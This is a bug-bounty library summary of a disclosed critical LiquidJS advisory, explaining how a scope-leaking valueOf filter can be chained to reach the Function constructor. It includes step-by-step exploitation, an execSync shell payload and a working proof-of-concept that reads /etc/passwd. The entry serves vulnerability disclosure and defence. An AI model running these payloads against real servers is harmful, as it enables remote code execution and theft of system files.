# LiquidJS is Vulnerable to Remote Code Execution

LiquidJS template filters like valueOf leak `this` scope, letting crafted templates reach the Function constructor and achieve remote code execution.

- Payout: Research
- Severity: critical
- Program: LiquidJS
- Found by: c0rydoras
- Disclosed: 2026-05-27
- CVE: CVE-2026-45618
- Write-up quality: 9/10
- Original: https://github.com/advisories/GHSA-gf2q-c269-pqgc
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-gf2q-c269-pqgc
- Tags: area:oss domain:oss impact:rce kind:research platform:ghsa sev:critical tech:nodejs technique:chained technique:source-review vuln:prototype-pollution vuln:rce

**Target:** npm liquidjs template engine (Node.js)
**Root cause:** Filters such as `valueOf` are invoked with `this` bound to the render scope, exposing internal objects (context, liquid, parser, filters). Combined with prototype reassignment and the comparable gadget, an attacker reaches the `Function` constructor.
**Steps:**
1. Render `{%assign r=1|valueOf%}{{r|inspect}}` to confirm `this` leaks the scope object.
2. Use the `group_by`/`where` comparable gadget (`storeFn`) to extract functions like `p.parseFile`, `f.default`, `f.raw.handler` into template variables.
3. Reassign `__proto__` to `p` and set `loader`/`context`/`opts`/`liquid`/`options` to the leaked scope `m`.
4. Set `tagDelimiterLeft/Right` to `n` and output delimiters to `[`/`]` to control parsing.
5. Store `Function` via `filters` pointing at `f.raw.handler`, then extract it with `output = m == "[0|constructor]" | first` and `val = output.value.filters|first`.
6. Assign `equals` to `val.handler` (the Function) and render `m == "return process.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'})"` to execute code.
**How found:** Noticed that `1|valueOf` returns `this` (the scope) when evaluating the filter, then explored what internal objects were reachable and whether prototype reassignment and the comparable gadget could surface the Function constructor.
**Exploitation:** Attacker who controls template content (e.g. user-supplied Liquid templates) chains the valueOf scope leak, prototype reassignment, and comparable gadget to obtain the Function constructor and run arbitrary Node.js code via child_process.execSync.
**Escalation:** Prototype reassignment of `__proto__` to the parser plus overwriting `loader.lookup`/`readFile` lets the attacker fully control what reaches `this.parse`, then pivot to the Function constructor for RCE.
**Insight:** Filters that return `this` or are called with the render scope as `this` leak the entire engine internals; check every built-in filter's binding, then look for a comparable/where gadget to pull arbitrary functions out of leaked objects.

## Proof of concept (copied exactly from the original report)

**Full RCE PoC template with storeFn helper**

```
import { Liquid } from "liquidjs";

const engine = new Liquid();

const storeFn = (dst, src) => {
  const parts = src.split(".");
  const path = parts.slice(0, -1).join(".");
  const prop = parts.at(-1);

  return `
{% assign _g = ${path}|group_by:"0"%}
{% assign _gs = _g | where:n,"${prop}"|first%}
{% assign ${dst} = _gs.items | first | last %}`;
};

const tpl = `
{% liquid
assign r = 1|valueOf
assign m = r.context.scopes|first
assign fs = r.liquid.options.fs
assign n = "name"%}

${storeFn("equals", "fs.readFileSync")}
${storeFn("gt", "fs.readFileSync")}
${storeFn("geq", "fs.readFileSync")}
${storeFn("lt", "fs.readFileSync")}
${storeFn("leq", "fs.readFileSync")}

{{m == "/etc/passwd"}}
`;

const v = await engine.parseAndRender(tpl, {});
console.log(v.trim());
```

**valueOf filter returns this (circular)**

```
{%assign r=1|valueOf%}
{{r|inspect}}
```

